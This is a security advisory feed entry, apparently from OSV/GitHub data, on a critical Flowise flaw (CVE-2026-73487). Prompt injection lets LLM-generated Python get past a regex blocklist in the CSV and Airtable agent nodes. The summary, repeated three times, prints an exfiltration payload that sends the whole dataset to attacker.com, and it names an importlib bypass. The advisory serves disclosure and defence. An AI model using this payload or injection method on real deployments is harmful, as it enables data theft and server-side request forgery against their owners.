Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required. ## Severity **Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N ## Affected Versions - Flowise <= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow ## Details ### Root Cause The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because: 1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern. 2. **The `\bimport\b` regex does not match `importlib`**: The
- Products
- flowise, flowise-components
- Affected versions
- Not specified
- Fixed versions
- 3.1.3
- CVEs
- CVE-2026-73487
- Confirmed fixed CVEs
- Not specified
- Updated in this feed
- 28 Oct 2026, 05:11 UTC · Revision 1
Source evidence
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
core-osv · Original sourcePublished 7 Oct 2026, 16:17 UTC
## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required. ## Severity **Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N ## Affected Versions - Flowise <= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow ## Details ### Root Cause The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because: 1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern. 2. **The `\bimport\b` regex does not match `importlib`**: The
osv:GHSA-w7x8-q2gp-5cgg
flowise
Fixed versions: 3.1.3
flowise-components
Fixed versions: 3.1.3
Complete source record
{
"id": "9d1c48df492b5c8ced005b59aae294072946583929408740ec7ac43547a4ec61",
"url": "https://osv.dev/vulnerability/GHSA-w7x8-q2gp-5cgg",
"method": "structured",
"payload": {
"kind": "advisory",
"title": "Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass",
"summary": "## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json(\"http://attacker.com/?d=\" + df.to_json())` passes every regex check yet makes an outbound HTTP request carrying the entire dataset. No special configuration is required. ## Severity **Critical** (CVSS 3.1: 9.3) -- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N ## Affected Versions - Flowise <= 3.1.2 (latest at time of disclosure) - Any deployment with a CSV Agent or Airtable Agent chatflow ## Details ### Root Cause The `validatePythonCodeForDataFrame()` function (`packages/components/src/pythonCodeValidator.ts`) uses a **blocklist** of 38 regex patterns. It rejects code on the first match and accepts anything that matches none of them. This approach is structurally insufficient because: 1. **Pandas URL-fetching functions are not blocked**: `pd.read_json()`, `pd.read_html()`, `pd.read_csv()`, `pd.read_fwf()` all accept URLs as their first argument and make HTTP requests. None appear in any forbidden pattern. 2. **The `\\bimport\\b` regex does not match `importlib`**: The",
"evidence": "osv:GHSA-w7x8-q2gp-5cgg",
"products": [
{
"name": {
"value": "flowise",
"evidence": "/affected/0/package/name"
},
"prerequisites": [],
"fixed_versions": [
{
"value": "3.1.3",
"evidence": "/affected/0/ranges"
}
],
"affected_versions": []
},
{
"name": {
"value": "flowise-components",
"evidence": "/affected/1/package/name"
},
"prerequisites": [],
"fixed_versions": [
{
"value": "3.1.3",
"evidence": "/affected/1/ranges"
}
],
"affected_versions": []
}
],
"severity": "critical",
"structured": {
"id": "GHSA-w7x8-q2gp-5cgg",
"aliases": [
"CVE-2026-73487",
"GHSA-w7x8-q2gp-5cgg"
],
"metrics": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N"
}
],
"affected": [
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
]
}
],
"package": {
"name": "flowise",
"purl": "pkg:npm/flowise",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-w7x8-q2gp-5cgg/GHSA-w7x8-q2gp-5cgg.json",
"last_known_affected_version_range": "<= 3.1.2"
}
},
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
]
}
],
"package": {
"name": "flowise-components",
"purl": "pkg:npm/flowise-components",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-w7x8-q2gp-5cgg/GHSA-w7x8-q2gp-5cgg.json",
"last_known_affected_version_range": "<= 3.1.2"
}
}
],
"modified": "2026-10-07T16:30:05.802932685Z",
"provider": "osv",
"references": [
"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-w7x8-q2gp-5cgg",
"https://nvd.nist.gov/vuln/detail/CVE-2026-73487",
"https://github.com/FlowiseAI/Flowise",
"https://www.vulncheck.com/advisories/flowise-before-prompt-injection-rce-via-csv-agent"
],
"provider_metadata": {
"cwe_ids": [
"CWE-94"
],
"severity": "CRITICAL",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-10-07T16:17:21Z"
}
},
"related_cves": [
{
"value": "CVE-2026-73487",
"evidence": "/aliases"
}
],
"security_relevant": true,
"severity_evidence": "/database_specific/severity"
},
"source_id": "core-osv",
"document_id": 95166,
"published_at": "2026-10-07T16:17:21+00:00"
}